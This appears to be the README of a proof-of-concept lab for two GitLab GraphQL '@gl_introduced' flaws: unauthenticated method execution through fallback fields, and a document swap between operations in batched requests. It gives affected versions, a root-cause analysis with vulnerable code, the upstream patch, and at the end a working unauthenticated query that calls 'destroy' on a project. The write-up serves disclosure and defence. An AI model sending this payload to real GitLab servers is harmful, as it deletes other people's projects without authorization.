
दो GitLab GraphQL `@gl_introduced` डायरेक्टिव कमजोरियों के लिए PoC एक्सप्लॉइट और रूट-कॉज़ विश्लेषण प्रदान करता है: बिना प्रमाणीकरण के विधि निष्पादन और बैच्ड दस्तावेज़ स्वैप, अपस्ट्रीम पैच और लाइव साक्ष्य के साथ।
@gl_introduced version-filter भेद्यताएँGitLab की GraphQL version-filter सुविधा (@gl_introduced directive) में दो संबंधित बगों के लिए एक reproduction lab। दोनों एक ही सुविधा क्षेत्र में रहते हैं, एक ही upstream patch द्वारा ठीक किए जाते हैं, और दोनों एक GraphQL अनुरोध को उन code paths तक पहुँचने देते हैं जिन्हें उसने कभी घोषित नहीं किया था:
destroy) आह्वान कर सकती है, केवल एक ऐसा फ़ील्ड नाम देकर जो मौजूद नहीं है और उसे @gl_introduced टैग करके।| प्रभावित | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| ठीक किया गया | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| लैब लक्ष्य | gitlab/gitlab-ce:19.2.2-ce.0 (फिक्स से पहले का अंतिम build) |
| ट्रिगर | GraphQL @gl_introduced directive, अकेले या batch के अंदर |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
src/ के अंतर्गत सब कुछ verbatim upstream स्रोत है, कभी पुनः कार्यान्वित नहीं किया गया — loader src/common के ऊपर src/vuln या src/patched ओवरले करता है।
Gitlab::Graphql::VersionFilter::FutureFieldFallback एक क्वेरी को किसी प्रकार पर अभी मौजूद नहीं रहे फ़ील्ड को संदर्भित करने देता है, बिना अनुरोध असफल हुए — यह रोलिंग डिप्लॉय (rolling deploys) के लिए है, जहाँ एक पुराने नोड के स्कीमा में वह फ़ील्ड नहीं होता जो एक नए नोड में पहले से होता है। इसका get_field ओवरराइड जाँचता है कि अनुरोधित फ़ील्ड गायब है और अनुरोध contain_future_fields के रूप में चिह्नित है, और यदि ऐसा है तो raising करने के बजाय एक synthetic फ़ील्ड देता है:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
समस्या: यह GraphQL::Schema::Field बिना किसी resolver method, resolver class, या block के बनाया गया है। फिर graphql-ruby का अपना डिफ़ॉल्ट फ़ील्ड रिज़ॉल्यूशन लागू होता है (graphql gem 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym फ़ील्ड का नाम है, underscore के साथ — यानी वास्तव में वही स्ट्रिंग जो हमलावर ने क्वेरी में डाली थी। यदि GraphQL प्रकार के पीछे का ऑब्जेक्ट (ActiveRecord मॉडल) उस नाम के साथ एक वास्तविक, शून्य-तर्क public मेथड रखता है, तो graphql-ruby उसे कॉल करता है और उसका (type-coerced) परिणाम लौटाता है। fallback_value: nil केवल तब लागू होता है जब मेथड वास्तव में मौजूद नहीं होता — यह किसी वास्तविक मेथड को चलने से रोकने के लिए कुछ नहीं करता।
इसलिए: किसी भी प्रकार से किसी वास्तविक विनाशकारी मेथड के नाम वाले फ़ील्ड के लिए क्वेरी करें — उदाहरण के लिए destroy — उसे @gl_introduced टैग करें ताकि वह निष्पादन तक जीवित रहे, और मेथड चल जाता है।
IntroducedTracer version-filter सुविधा के शेष भाग को दो graphql-ruby trace hooks — parse (प्रति ऑपरेशन एक बार) और execute_query (प्रति ऑपरेशन एक बार) — में लागू करता है। भेद्य build में यह अपनी प्रति-ऑपरेशन स्थिति को trace ऑब्जेक्ट पर सामान्य instance variables में छिपाता है:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
समस्या: graphql-ruby एक multiplexed अनुरोध में हर ऑपरेशन के बीच एक ही trace instance साझा करता है, और किसी को निष्पादित करने से पहले उन सभी को parse करता है। तो दो-ऑपरेशन batch में:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 एक @gl_introduced future फ़ील्ड रखता है)Parse करने के बाद, केवल अंतिम ऑपरेशन की स्थिति बचती है। फिर निष्पादन चलता है:
execute_query(op1) → flag true है, इसलिए op1 का document op2_doc के साथ अधिलेखित (overwrite) हो जाता है और पुनः तैयार किया जाता है → op1 का स्लॉट op2 का ऑपरेशन चलाता है।op1 ने एक read घोषित किया; यह op2 के write को निष्पादित करता है।
patch-19.2.2-to-19.2.4.diff दोनों को बंद करता है:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
कोई Authorization हेडर नहीं। एक ही ऑपरेशन, कोई batch नहीं। destroy Project पर एक वास्तविक फ़ील्ड नहीं है — यह स्कीमा में बिल्कुल मौजूद नहीं है — लेकिन directive FutureFieldFilter को static validation से पहले इसे हटाने और निष्पादन के लिए contain_future_fields को सशस्त्र (arm) करने देती है, जहाँ get_field destroy नामक बिना-resolver वाला फ़ील्ड देता है और graphql-ruby project.public_send(:destroy) कॉल करता है।